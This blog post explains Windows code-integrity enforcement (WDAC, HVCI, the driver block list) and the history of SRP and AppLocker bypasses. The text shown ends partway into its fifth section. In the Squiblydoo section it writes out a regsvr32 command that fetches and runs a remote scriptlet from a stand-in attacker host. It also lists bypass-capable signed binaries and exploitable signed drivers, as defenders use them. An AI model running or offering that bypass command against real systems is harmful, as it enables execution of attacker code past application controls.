# WDAC + HVCI: Code Integrity at Every Layer in Windows

> How Windows decides which code is allowed to run, end-to-end: WDAC policy schema, HVCI per-VTL SLAT enforcement, the audit-to-enforce loop, and the residual attack surface neither feature can close.

*Published: 2026-05-11*
*Canonical: https://paragmali.com/blog/wdac--hvci-code-integrity-at-every-layer-in-windows*
*License: CC BY 4.0 - https://creativecommons.org/licenses/by/4.0/*

---
<TLDR>
**Windows enforces "which code is allowed to run" through two coupled primitives.** WDAC is an XML-schema policy that the in-kernel `CI.dll` evaluates at every PE load. HVCI is the hypervisor-rooted check that runs `SkCi.dll` inside Virtual Trust Level 1, where the VTL0 kernel cannot reach it. Together they form the runtime enforcement loop on top of the App Identity primitives, and together they refuse the 8-microsecond signed-driver load that opens this article. This piece walks the policy schema, the audit-to-enforce migration discipline, the per-VTL SLAT state machine, the Vulnerable Driver Block List, and the residual attack surface (return-oriented programming, signed living-off-the-land binaries, hypervisor rollback) that the loop cannot close.
</TLDR>

## 1. Signed Code Still Isn't Trusted Code

A red-team operator drops a signed, valid, never-revoked OEM driver onto a freshly-imaged Windows 11 24H2 box with the default WDAC policy enforced and HVCI on. The driver is `dbutil_2_3.sys`, a real Dell utility tracked as [CVE-2021-21551](https://nvd.nist.gov/vuln/detail/CVE-2021-21551), with an authentic Microsoft-trusted certificate in its embedded signature. The `sc.exe create` call returns success. The `StartService` call spins for roughly eight microseconds. Then the driver fails to load with `ERROR_DRIVER_BLOCKED`, and the `Microsoft-Windows-CodeIntegrity/Operational` event log lights up with [event 3033](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules).

The driver is not malware. It is a perfectly legitimate diagnostic utility that [Dell shipped to hundreds of millions of laptops between 2009 and 2021](https://www.sentinelone.com/labs/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/), signed by a certificate that chains to a root in the Microsoft Trusted Root Program. The certificate has not expired. It has not been revoked. The driver itself is intact -- not modified, not repacked, not even slightly truncated. And it cannot run.

<Definition term="BYOVD (Bring Your Own Vulnerable Driver)">
A class of attack in which a privileged operator (or an exploited userland process that has reached LocalSystem) loads a driver that is *signed* and *trusted* by the operating system, but contains a vulnerability that lets the loader execute arbitrary code in ring 0. The driver is the vehicle; the vulnerability inside the driver is the payload. The Dell `dbutil_2_3.sys` driver, the MSI Afterburner `RTCore64.sys` driver, and the Intel Network Adapter `iqvw64e.sys` driver are the canonical 2020-2024 examples ([CVE-2019-16098](https://nvd.nist.gov/vuln/detail/CVE-2019-16098), [CVE-2021-21551](https://nvd.nist.gov/vuln/detail/CVE-2021-21551)).
</Definition>

That eight-microsecond refusal is the entry point of this article. It raises four questions that the next ten sections answer in order. *Which* Windows component refused the load? *What* policy language did it consult? *How* did that policy reach the device? And, most uncomfortably, *which* classes of attack would still get to the kernel anyway?

This article is the operational sequel to a sibling piece on [App Identity](https://paragmali.com/blog/who-is-this-code----the-quiet-33-year-reinvention-of-app-ide/).<Sidenote>The App Identity article argues *what code identity is* in Windows -- Authenticode, Kernel Mode Code Signing (KMCS), publisher chains, hash strategies. This article argues *what Windows does with that identity at every page-fault*. The two pieces compose: identity is the noun; enforcement is the verb.</Sidenote> Where App Identity argues what Windows means by "this is the same bag of bytes the publisher signed," this article argues what the OS does with that fact at every PE load. The two reduce, together, to a single sentence that we will earn the right to write by section five: *code integrity at every layer is not a slogan; it is a page-fault sequence that runs dozens of times during one driver load.*

<Mermaid caption="The 8-microsecond refusal: BYOVD against the default Windows 11 24H2 enforcement loop. The driver is signed, the certificate is valid, and CI.dll still says no -- because SkCi.dll in VTL1 has the Driver Block List loaded as a standalone WDAC policy.">
sequenceDiagram
    participant Op as Operator (sc.exe)
    participant SCM as Service Control Manager
    participant NT as NT Loader (NtLoadDriver)
    participant CI as CI.dll (VTL0)
    participant Sk as SkCi.dll (VTL1)
    participant SLAT as Hypervisor SLAT
    Op->>SCM: sc.exe create / start
    SCM->>NT: NtLoadDriver(\dbutil_2_3.sys)
    NT->>CI: Validate Authenticode + policy
    CI->>Sk: Secure call: revalidate + check Block List
    Sk->>Sk: Hash matches Block List entry
    Sk-->>SLAT: Refuse W->X promotion
    SLAT-->>NT: Page-fault on first execute
    NT-->>SCM: STATUS_DRIVER_BLOCKED
    SCM-->>Op: ERROR_DRIVER_BLOCKED + event 3033
</Mermaid>

But before we can explain how the load was refused, we have to explain why this kind of refusal is a twenty-five-year-old engineering problem. Two earlier Microsoft answers, Software Restriction Policies and AppLocker, were the wrong shape -- and the wrong shape in instructive ways.

## 2. Historical Origins: The 1990s Free-for-All and the Birth of "Path Is Not Identity"

In 2001, a Windows XP user double-clicked a `.vbs` attachment and the OS asked nobody before running it. Code Red, Nimda, and MS Blaster had not yet finished teaching Microsoft why that was a bad design, but the theoretical ground was already a decade and a half old. Fred Cohen had proved, in his [1984 paper *Computer Viruses -- Theory and Experiments*](https://web.eecs.umich.edu/~aprakash/eecs588/handouts/cohen-viruses.html), that general malware detection is undecidable -- without detection, containment is, in general, impossible. The verbatim form of that result is reserved for §8 below, where the theoretical-limits argument turns on it. If detection was off the table as a general primitive, the only remaining engineering option was the *opposite* of detection: an explicit allowlist.

Authenticode existed since Internet Explorer 3 in 1996, but it was *advisory* -- a "Security Warning" dialog the user could click past. The first OS-level *enforcement* primitive arrived with Windows XP and Server 2003 in the form of [Software Restriction Policies (SRP)](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc782792(v=ws.10)). SRP was the first time the kernel was asked to refuse a load on the strength of an administrator-set rule, not a user click.

<Definition term="Software Restriction Policies (SRP)">
The original Windows app-control primitive, introduced with Windows XP and Server 2003. SRP supports four rule classes (path, hash, certificate, zone) and a fixed-precedence walk inside the [Safer API call `SaferIdentifyLevel`](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc786941(v=ws.10)). Deployment is Group Policy only; storage post-download is the registry. SRP was [deprecated in Windows 10 build 1803](https://learn.microsoft.com/en-us/windows-server/identity/software-restriction-policies/software-restriction-policies), with Microsoft's documentation explicitly redirecting to AppLocker or WDAC.
</Definition>

<Definition term="Authenticode">
[Microsoft's PE-image signing scheme](https://learn.microsoft.com/en-us/windows-hardware/drivers/install/authenticode), introduced with Internet Explorer 3 in 1996. An Authenticode signature attaches a CMS PKCS#7 envelope to a PE binary, binding the file's digest to a publisher certificate that chains to a Microsoft-trusted root. The same signature surface is reused by [Kernel Mode Code Signing](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/appcontrol-and-applocker-overview), Smart App Control, and the WDAC `Signers` element discussed later in this article.
</Definition>

SRP shipped four ways to identify a binary, but the architectural lesson it forced into the open was about the *first* of those four. Path rules looked elegant on paper -- "trust everything in `C:\Program Files`" -- and lethal in practice, because a path is not a property of a binary. A path is the *coordinates of a place* a bag of bytes happens to sit, and any attacker who can write to that place inherits the trust attached to it. World-writable directories under `%TEMP%`, `%APPDATA%`, and various inherited-permission folders under `C:\Program Files` itself meant that path rules were structurally a lie. Hash rules were correct but brittle; certificate rules were correct but coarse; zone rules were correct but circumventable through a download into a trusted zone.

> **Key idea:** Path is not identity. A path is a place a bag of bytes happens to sit; an attacker who can write to that place inherits the trust. This sentence will recur three times in this article -- at SRP, at AppLocker, and at WDAC's path-rule writeability check -- because every generation of Windows app-control re-learned it at a new layer.

<Mermaid caption="Twenty-five years of Windows app-control evolution. Each generation closes a class of attack the previous generation could not block; each closure surfaces a new class on the layer above.">
gantt
    title Windows app-control + HVCI lineage 2001-2025
    dateFormat  YYYY-MM
    section App-control rail
    SRP (Windows XP)                  :2001-10, 17M
    AppLocker (Windows 7)             :2009-07, 72M
    Configurable CI (Windows 10 1507) :2015-07, 27M
    WDAC rename (1709) + ISG/MI       :2017-04, 24M
    Multi-policy WDAC (1903)          :2019-05, 60M
    ACfB rebrand (2024)               :2024-01, 24M
    section HVCI / VBS rail
    HVCI in Device Guard (1507)       :2015-07, 13M
    HVCI rename (1607)                :2016-08, 20M
    MBEC/GMET reporting (1803)        :2018-04, 25M
    KDP (Windows 10 2004)             :2020-05, 16M
    Driver Block List GA (Win 11 22H2):2022-09, 24M
    KB5042562 Downdate fix            :2025-07, 5M
</Mermaid>

The first inflection point came when the mass-mailer worms of 2001-2004 made it operationally embarrassing for Microsoft to keep shipping an OS in which "double-click runs anything." [Microsoft's Trustworthy Computing memo dates to January 2002](https://www.microsoft.com/en-us/security/blog/2022/01/21/celebrating-20-years-of-trustworthy-computing/) -- Bill Gates' company-wide email pivoting Windows engineering toward security as a first-class deliverable. SRP was its first concrete app-control answer.<Sidenote>Microsoft's own [Windows Server 2003 SRP technical reference](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc786941(v=ws.10)) describes the architecture: when a user double-clicks an executable, the enforcement API `SaferIdentifyLevel` is called to determine the rule details that apply. The same page enumerates the Safer API, the Group Policy Editor extension, the WinVerifyTrust integration with Authenticode, the Event Viewer logging, and Active Directory + Group Policy as the propagation substrate.</Sidenote>

SRP showed the *shape* of the answer -- admin-set policy, OS-enforced, applied before launch -- but it failed on three properties the next generation would try to close. It failed on *granularity* because path was its primary identity. It failed on *audience* because it had no per-user or per-group scoping. And it failed on *surface* because script hosts (`wscript.exe`, `cscript.exe`) had to opt in to consult its rules. AppLocker arrived in Windows 7 to fix all three. And it discovered that even closing all three is not enough.

## 3. Early Approaches: AppLocker, Squiblydoo, and the Engineering of "Publisher Is Not Enough"

April 19, 2016. Casey Smith publishes a four-line command on his subt0x10 blog: `regsvr32 /s /n /u /i:http[:]//attacker/x.sct scrobj.dll`. The command [bypasses an AppLocker-locked-down workstation with executable and script rules enforced](https://web.archive.org/web/20161128183535/http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html), and -- because every default Microsoft AppLocker policy allows binaries published by `O=Microsoft Corporation` -- the same trick works against the canonical default rules out of the box. It leaves no registry artefact, requires no admin rights, runs the attacker's code under the user's token, and -- this is the part that hurts -- cannot be patched. Because the binary it abuses is signed by Microsoft, it is on every default allowlist. The technique gets the nickname *Squiblydoo*, gets MITRE ATT&CK ID [T1218.010](https://attack.mitre.org/techniques/T1218/010/), gets used in [campaigns targeting governments](https://attack.mitre.org/techniques/T1218/010/), and gets the [LOLBAS project](https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/) named partly in its honour.

To understand why Smith's command was a class of failure rather than a specific bug, look at AppLocker's design. [AppLocker shipped in Windows 7 and Server 2008 R2 in July 2009](https://en.wikipedia.org/wiki/Windows_7) with five rule collections (Executable, Windows Installer, Script, DLL, Packaged App) crossed against three rule types (Path, File hash, Publisher). Per-user and per-group scoping was the explicit win over SRP, and enforcement moved out of the Safer API into a dedicated [Application Identity service (`appidsvc`) plus the `appid.sys` filter driver](https://en.wikipedia.org/wiki/AppLocker), so script hosts no longer needed to opt in to consult policy. AppLocker was, on paper, every fix SRP needed.

<Definition term="AppLocker">
The Windows 7 / Server 2008 R2 successor to SRP, with five rule collections (Executable, Windows Installer, Script, DLL, Packaged App) crossed against three rule types (Path, File hash, Publisher). Enforcement is via the [`appidsvc` service plus the `appid.sys` filter driver](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-7/dd723678(v=ws.10)). Microsoft documents AppLocker today as ["a defense-in-depth security feature and not considered a defensible Windows security feature"](https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/applocker-overview) -- meaning the Microsoft Security Response Center will not service AppLocker bypasses as security vulnerabilities.
</Definition>

<Definition term="LOLBIN (Living Off the Land Binary)">
A signed, trusted binary that ships with the operating system and exposes functionality an attacker can repurpose for malicious execution -- without dropping any new file to disk, without triggering signature-based detection, and (in the AppLocker era) without violating any publisher-rule allowlist. The [MITRE ATT&CK technique T1218 ("System Binary Proxy Execution")](https://attack.mitre.org/techniques/T1218/) catalogues the parent class. Microsoft's [own bypass catalogue](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/applications-that-can-bypass-appcontrol) lists about forty Windows binaries that fall into this class.
</Definition>

The Squiblydoo bypass is mechanical once you see it. AppLocker's publisher rule for `O=Microsoft Corporation` says *yes* to `regsvr32.exe`. The argument-parsing code inside `regsvr32.exe` is policy-blind -- it does not consult AppLocker before deciding to follow the `/i:URL` flag. The remote scriptlet is fetched, parsed, and the JScript inside it is executed in-process. AppLocker has logged a successful launch of a Microsoft-signed binary and seen nothing worth blocking. The malicious code now runs with the launching user's token, with no on-disk artefact, with no registry footprint, with no need to escalate.

<Mermaid caption="Squiblydoo in detail. The publisher rule says 'yes' because the binary is signed by Microsoft; the argument parser is blind to the policy; the in-process JScript inherits the entire trust verdict.">
sequenceDiagram
    participant U as User session
    participant Reg as regsvr32.exe (signed)
    participant AL as AppLocker check
    participant Atk as attacker.com
    participant JS as JScript engine
    U->>Reg: Spawn with /i:http://atk/x.sct scrobj.dll
    Reg->>AL: Publisher = Microsoft Corp?
    AL-->>Reg: PASS (publisher rule allows)
    Reg->>Atk: HTTP GET x.sct (TLS, proxy-aware)
    Atk-->>Reg: Scriptlet (JScript COM)
    Reg->>JS: Instantiate scriptlet in-process
    JS-->>Reg: Arbitrary code under user token
    Reg-->>AL: Process exit logged "successful launch"
</Mermaid>

The bypass-research record is the size of a small university faculty. Microsoft's [own bypass catalogue](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/applications-that-can-bypass-appcontrol) thanks fifteen researchers by name in its acknowledgements footer (Casey Smith, Matt Graeber, James Forshaw, Oddvar Moe, Matt Nelson, Will Dormann, Lasse Trolle Borup, Lee Christensen, Jimmy Bayne, Vladas Bulavas, William Easton, Brock Mammen, Kim Oppalfens, Philip Tsukerman, and Alex Ionescu).

The catalogue itself enumerates roughly forty signed Microsoft binaries that should be blocked unless explicitly required: `addinprocess.exe`, `bash.exe`, `cdb.exe`, `cscript.exe`, `csi.exe`, `dnx.exe`, `dotnet.exe`, `fsi.exe`, `infdefaultinstall.exe`, `kd.exe`, `kill.exe`, `lxrun.exe`, `Microsoft.Workflow.Compiler.exe`, `msbuild.exe`, `mshta.exe`, `ntkd.exe`, `ntsd.exe`, `powershellcustomhost.exe`, `rcsi.exe`, `runscripthelper.exe`, `system.management.automation.dll`, `texttransform.exe`, `visualuiaverifynative.exe`, `wfc.exe`, `windbg.exe`, `wmic.exe`, `wscript.exe`, and `wsl.exe` are all explicitly listed.<Sidenote>The MITRE ATT&CK record for [T1218.010 (Regsvr32)](https://attack.mitre.org/techniques/T1218/010/) credits Smith for the technique and dates its documented in-the-wild use to multiple "campaigns targeting governments." The "Squiblydoo" nickname itself is widely attributed to [Carbon Black's April 2016 threat advisory](https://web.archive.org/web/20170809154755/https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/), which MITRE cites as reference [3]. The [LOLBAS project entry for `Regsvr32`](https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/) preserves the verbatim AWL bypass syntax that Smith published.</Sidenote>

| Property | SRP (2001) | AppLocker (2009) |
|---|---|---|
| Identity primitive | Path / Hash / Cert / Zone | Path / Hash / Publisher |
| Per-user scoping | No | Yes |
| Enforcement engine | Safer API (`SaferIdentifyLevel`) | `appidsvc` + `appid.sys` filter driver |
| Script-host coverage | Opt-in per host | Centrally enforced |
| Canonical bypass class | Path-rule writeable directories | Squiblydoo / publisher-blind LOLBINs |
| MSRC servicing | Deprecated 2018 | Defense-in-depth only (not serviced) |

Microsoft's own architectural surrender is in the [AppLocker overview](https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/applocker-overview) itself, in a sentence the company has now repeated for a decade -- captured verbatim in the PullQuote below. The Microsoft Security Response Center, in other words, will not treat an AppLocker bypass as a vulnerability. AppLocker remains supported, remains documented, and remains deployed in millions of enterprises -- but Microsoft has moved its security-boundary commitment to a different feature.

<PullQuote>
"AppLocker is a defense-in-depth security feature and not considered a defensible Windows security feature." -- Microsoft Learn, AppLocker overview, 2026.
</PullQuote>

<Aside label="The architectural lesson">
Two insights survive the AppLocker era. First, publisher-only identity is necessary but not sufficient: a bag of bytes signed by Microsoft can still host arbitrary attacker-supplied script. Second, the enforcement engine itself must be unkillable -- AppLocker's filter driver runs in the same VTL0 ring as the kernel an attacker may have compromised, so a SYSTEM-level kernel attacker can simply unload it. The next generation has to fix both. Microsoft fixed them on two parallel rails inside Windows 10.
</Aside>

## 4. The Evolution: Two Parallel Rails Converging on the Runtime Loop

From July 2015, Microsoft's answer evolved on two parallel rails inside Windows 10. One rail -- the configurable Code Integrity policy that would later be renamed WDAC -- replaced AppLocker's policy language with an XML schema and put the enforcement check inside the kernel. The other rail -- HVCI -- put the *kernel CI check itself* underneath the kernel, in a hypervisor-rooted Virtual Trust Level the attacker cannot reach. The rails converged in 2019 with multi-policy WDAC, and again in September 2022 when the Driver Block List started shipping on by default.

### 4a. The WDAC Rail

[Configurable Code Integrity (CCI) under Device Guard shipped in Windows 10 1507 in July 2015](https://en.wikipedia.org/wiki/Windows_10_version_history). For the first time, Microsoft's app-control engine consumed an XML policy: a schema with `Signers`, `FileRules`, `SigningScenarios`, and the rule-option toggles that a 2026 administrator still recognises today. The engine binary was [`CI.dll`](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/appcontrol-and-applocker-overview), and `CI.dll` is still the engine binary today. CCI was, from day one, [serviced under MSRC criteria](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/appcontrol-and-applocker-overview) -- the load-bearing operational distinction from AppLocker, because Microsoft now treats a bypass of CCI as a security vulnerability.

The 2017 rebranding decoupled the engine from the marketing. [In October 2017](https://www.microsoft.com/en-us/security/blog/2017/10/23/introducing-windows-defender-application-control/) Microsoft published a blog post that admitted, in a sentence that has since become a Microsoft Learn citation, that "we estimate that only about 20% of our customers are using any type of application control technology." The same post announced the rename from "configurable CI" to *Windows Defender Application Control*, and explained that the original Device Guard story had "unintentionally left an impression for many customers that the two features were inexorably linked and could not be deployed separately."

The post also disclosed that "in the [Windows 10 Creators Update (1703)](https://en.wikipedia.org/wiki/Windows_10_version_history) released last spring we introduced an option to WDAC called managed installer." Managed Installer is therefore a 1703 feature (April 2017), not a 1709 feature.<MarginNote>This date precision matters. Earlier informal histories pin both ISG and Managed Installer to 1709; the verbatim primary makes Managed Installer a 1703 feature and ISG (rule option 14) a 1709 feature.</MarginNote>

<Definition term="WDAC (Windows Defender Application Control / App Control for Business / configurable code integrity)">
A WDAC policy is an XML document conforming to the [SiPolicy schema](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/select-types-of-rules-to-create), evaluated by `CI.dll` at every PE load. The same feature has had four names over a decade: *configurable code integrity* (2015), *Windows Defender Device Guard* (2015-2017), *Windows Defender Application Control* (2017), and *App Control for Business* (the [2024 rename](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/)). The binary, the schema, and the runtime loop are unchanged across the renames.
</Definition>

<Definition term="SiPolicy XML">
The XML schema that backs every WDAC policy. The eight load-bearing elements are `Rules` (policy options), `Signers` (signer identities), `FileRules` (the `Hash`, `FilePath`, `FileName`, `FilePublisher`, certificate-attribute family), `SigningScenarios` (which split kernel-mode from user-mode coverage), `HvciOptions` (the in-policy HVCI toggle), `UpdatePolicySigners` (who can replace the policy), `SupplementalPolicySigners` (who can add to it), and `CiSigners` (the trusted signer set in the user-mode scenario).
</Definition>

<Definition term="Intelligent Security Graph (ISG)">
The reputation cloud Microsoft uses for SmartScreen and Defender Antivirus. [Enabling rule option 14](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/use-appcontrol-with-intelligent-security-graph) tells WDAC to consult ISG for "known good," "known bad," or "unknown" verdicts at runtime. ISG is not a list; it is a model. Microsoft documents the obvious contraindication: ISG "isn't recommended for devices that don't have regular access to the internet."
</Definition>

The architectural inflection arrived in [Windows 10 1903 (May 2019) with multi-policy WDAC](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/deploy-multiple-appcontrol-policies). Up to thirty-two active policies could now coexist on a single machine, with base-policy and supplemental-policy composition rules: two base policies intersect (a binary must be allowed by both to run), while a base and a supplemental union (allowed by either is enough). The architectural payoff is operational. The Driver Block List can now ship as a standalone WDAC policy and stack alongside an organisation's existing allowlist, without a merge-and-resign ceremony every quarter.<Sidenote>The thirty-two-policy ceiling has since moved. The [Microsoft Learn page on multi-policy deployment](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/deploy-multiple-appcontrol-policies) documents that the cap is removed on devices that have applied the April 9, 2024 cumulative update -- with one carve-out for Windows 11 21H2, where the limit remains thirty-two indefinitely.</Sidenote>

The 2024 rename to *App Control for Business* changed the URL path on Microsoft Learn and not much else. The binary is still `CI.dll`; the schema is still `SiPolicy`; the rule options are still numbered the same way. Throughout the rest of this article we will use "WDAC" for prose searchability, with the understanding that "App Control for Business," "configurable code integrity," and "Device Guard kernel CI" all refer to the same engine.

> **Note:** Four aliases for the same feature: *configurable code integrity* (2015), *Windows Defender Device Guard* (2015-2017), *Windows Defender Application Control / WDAC* (2017-2024), and *App Control for Business / ACfB* (2024-). All four consume the same `SiPolicy` XML, run against the same `CI.dll`, and emit events on the same `Microsoft-Windows-CodeIntegrity/Operational` channel. We use *WDAC* throughout for searchability; the [App Control for Business documentation root](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/) is the canonical 2026 entry point.

<Mermaid caption="The eight load-bearing elements of a SiPolicy XML. Signers and FileRules are the two halves of identity; SigningScenarios splits kernel-mode (KMCI) from user-mode (UMCI); HvciOptions toggles HVCI from inside the policy itself.">
flowchart LR
    Root[SiPolicy XML]
    Root --> Rules[Rules<br/>policy options 0-20+]
    Root --> Signers[Signers<br/>signer identities]
    Root --> FileRules[FileRules<br/>Hash, FilePath, FileName, FilePublisher]
    Root --> Scenarios[SigningScenarios<br/>KMCI 131, UMCI 12]
    Root --> Hvci[HvciOptions<br/>0, 1, 2, 4]
    Root --> Update[UpdatePolicySigners<br/>who may replace policy]
    Root --> Suppl[SupplementalPolicySigners<br/>who may augment]
    Root --> Ci[CiSigners<br/>trusted signer set in UMCI]
</Mermaid>

### 4b. The HVCI Rail

In August 2006, Joanna Rutkowska stood up at Black Hat USA and demonstrated [Blue Pill](https://en.wikipedia.org/wiki/Blue_Pill_(software)), a rootkit based on AMD-V hardware virtualization that loaded itself underneath the running operating system. The point was not the rootkit. The point was a threat-model anchor: if attackers can own the [hypervisor](https://paragmali.com/blog/above-ring-zero-how-the-windows-hypervisor-became-a-security/), no kernel-mode mitigation can trust the kernel below it. The architectural answer Microsoft would eventually deploy is simple to state and hard to build: own the hypervisor first.<Sidenote>Rutkowska's [Black Hat USA 2006 presentation](https://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Rutkowska.pdf) demonstrated Blue Pill against Windows Vista; the deck was 52 pages, the rootkit was an AMD Pacifica (AMD-V) demonstration, and the talk was given on August 3, 2006. Alex Ionescu would invert the same architecture nine years later for HVCI -- the hypervisor is now the *defender's* substrate.</Sidenote>

[Device Guard kernel-mode CI / HVCI shipped in Windows 10 1507 in July 2015](https://en.wikipedia.org/wiki/Windows_10_version_history) on a hardware-rooted hypervisor that Microsoft built specifically to host this kind of trust check. The architecture is clean. `SkCi.dll` runs inside Virtual Trust Level 1, the higher-privileged of the two VTLs the hypervisor exposes. The NT kernel runs in VTL0. When the NT kernel needs to validate a driver image, it asks VTL1 -- and only after VTL1 says yes does the hypervisor [flip the SLAT entries for the driver's code pages from W to X](https://www.microsoft.com/en-us/security/blog/2020/07/08/introducing-kernel-data-protection-a-new-platform-security-technology-for-preventing-data-corruption/).

<Definition term="VTL0 / VTL1 (Virtual Trust Levels)">
The hypervisor-enforced privilege separation that Microsoft introduced with Virtualization-Based Security in Windows 10. VTL0 hosts the normal NT kernel and userland; VTL1 hosts the Secure Kernel and a tiny set of "trustlets" -- LSAISO for Credential Guard, the per-VTL CI engine `SkCi.dll`, the virtual TPM. A SYSTEM-level attacker in VTL0 cannot read or write VTL1 memory; the hypervisor enforces the separation through SLAT permissions. Alex Ionescu's [Battle of SKM and IUM](https://github.com/tpn/pdfs/blob/master/Battle%20of%20SKM%20and%20IUM%20-%20How%20Windows%2010%20Rewrites%20OS%20Architecture%20-%20Alex%20Ionescu%20-%202015%20(blackhat2015).pdf) is the canonical 2015 primary on the architecture.
</Definition>

<Definition term="HVCI / Memory Integrity">
[Microsoft Learn](https://learn.microsoft.com/en-us/windows/security/hardware-security/enable-virtualization-based-protection-of-code-integrity) documents the feature under three names that all refer to the same code path: *memory integrity* (the consumer-facing label in Windows Security), *hypervisor-protected code integrity* (the technical name), and *hypervisor enforced code integrity* (the alternate technical name). The page reads, verbatim: "Memory integrity is sometimes referred to as hypervisor-protected code integrity (HVCI) or hypervisor enforced code integrity, and was originally released as part of Device Guard."
</Definition>

<Definition term="W$\oplus$X invariant">
A page is either writable or executable, but never both. HVCI enforces W$\oplus$X for kernel pages by holding the page write-permission and execute-permission bits in [SLAT entries that VTL0 cannot edit](https://www.microsoft.com/en-us/security/blog/2020/07/08/introducing-kernel-data-protection-a-new-platform-security-technology-for-preventing-data-corruption/). VTL1's `SkCi.dll` decides whether a page is executable; the hypervisor decides whether VTL0 can ever ask the question. The invariant exists to deny one specific class of attack -- writing a new payload into a kernel page and then executing it -- but it does not stop attacks that compose only of *existing* executable bytes (return-oriented and jump-oriented programming).
</Definition>

The next four versions of Windows 10 added one capability each. [Windows 10 1607 (August 2016)](https://en.wikipedia.org/wiki/Windows_10_version_history) renamed the feature to HVCI, severed the marketing tie to Device Guard, and added a Windows Security app toggle. [Windows 10 1803 (April 2018)](https://learn.microsoft.com/en-us/windows/security/hardware-security/enable-virtualization-based-protection-of-code-integrity) added Mode-Based Execution Control reporting on Intel Kabylake-and-later silicon; AMD's Zen 2 added the equivalent Guest Mode Execute Trap. Older silicon falls back to Restricted User Mode emulation, which the same Microsoft Learn page warns "will have a bigger impact on performance."

Windows 10 2004 (May 2020) added [Kernel Data Protection (KDP)](https://www.microsoft.com/en-us/security/blog/2020/07/08/introducing-kernel-data-protection-a-new-platform-security-technology-for-preventing-data-corruption/), the second floor of the W$\oplus$X discipline -- once code is unforgeable, attackers shift to data corruption, so KDP makes selected kernel data ranges unforgeable too. Windows 11 22H2 (September 2022) made [HVCI on by default for most new Windows 11 devices](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules), and shipped the Vulnerable Driver Block List on by default alongside it.

<Aside label="Three names, one feature">
Microsoft Learn's three-name reconciliation is the verbatim quote in the §4b *HVCI / Memory Integrity* Definition above. Three names; one code path; one `SkCi.dll`; one architectural inversion of Blue Pill. We use *HVCI* for prose density throughout, with the understanding that Windows Security on a Surface Laptop today calls it *memory integrity* and a 2017 Microsoft Mechanics video calls it *Device Guard*.
</Aside>

<Mermaid caption="The per-VTL SLAT permission state machine. SkCi.dll inside VTL1 holds the write key; the hypervisor transitions a page from W to X only after SkCi.dll validates the image. A SYSTEM-level kernel attacker in VTL0 can request the transition, but cannot perform it.">
flowchart TB
    VTL0["VTL0 -- NT kernel + CI.dll<br/>'asks' for execute permission"]
    HV["Hypervisor -- hvix64.exe / hvax64.exe<br/>holds SLAT page tables"]
    VTL1["VTL1 -- Secure Kernel + SkCi.dll<br/>validates Authenticode + Block List"]
    Page["Driver image page<br/>state: Writable -> ReadOnly+Execute"]
    VTL0 -- "Secure call: validate image" --> VTL1
    VTL1 -- "If signed and not blocked" --> HV
    HV -- "Flip SLAT entry W->X" --> Page
    Page -- "Future write from VTL0" --> HV
    HV -- "Page-fault, no transition" --> VTL0
</Mermaid>

By 2022 the two rails had converged at the operational level. The Driver Block List shipped as a standalone WDAC policy that HVCI's `SkCi.dll` enforced in VTL1 on every kernel-mode driver load. Now we can finally answer the question that opened this article: which Windows component refused the BYOVD load? The honest answer is *both rails working together at the page-fault*. That sequence is the next section.

## 5. The Breakthrough: The Runtime Enforcement Loop, End-to-End

Open `Process Monitor`, watch a kernel driver load, and the human-readable output is `IRP_MJ_CREATE` returns success. Open `WinDbg` against a kernel-mode debugger session, set a breakpoint on `SeCodeIntegrityVerifySection`, watch the same load, and roughly forty distinct trust decisions happen between `NtCreateSection` and the moment the driver's `DriverEntry` is allowed to execute. The forty-decision shape is folk knowledge from the kernel-debugger community; the architecture that produces it is documented. Here is the seven-step walk that wraps it.

The first step is `NtCreateSection`. The kernel parses the PE image, locates the Authenticode signature in the directory entry of the optional header, and resolves the signature's PKCS#7 envelope. Step two: `SeCodeIntegrityVerifySection` calls into [`CI.dll`](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/appcontrol-and-applocker-overview) under `\Windows\System32\`. `CI.dll` builds a SignerHash structure for the PE -- the bound publisher identity, the leaf certificate hash, the cryptographic page-hash table -- and then opens the policy state under `C:\Windows\System32\CodeIntegrity\CIPolicies\Active\`.<MarginNote>The exact function names here -- `SeCodeIntegrityVerifySection`, `CipMincryptValidateImageHeader` -- are kernel-debugger artefacts; the [Microsoft Learn page on memory integrity](https://learn.microsoft.com/en-us/windows/security/hardware-security/enable-virtualization-based-protection-of-code-integrity) confirms only the higher-level "kernel mode code integrity process" terminology. We name the functions because the debugger view is the only way to see the loop in motion; treat them as kernel-debugger paraphrase, not as Microsoft Learn quotes.</MarginNote>

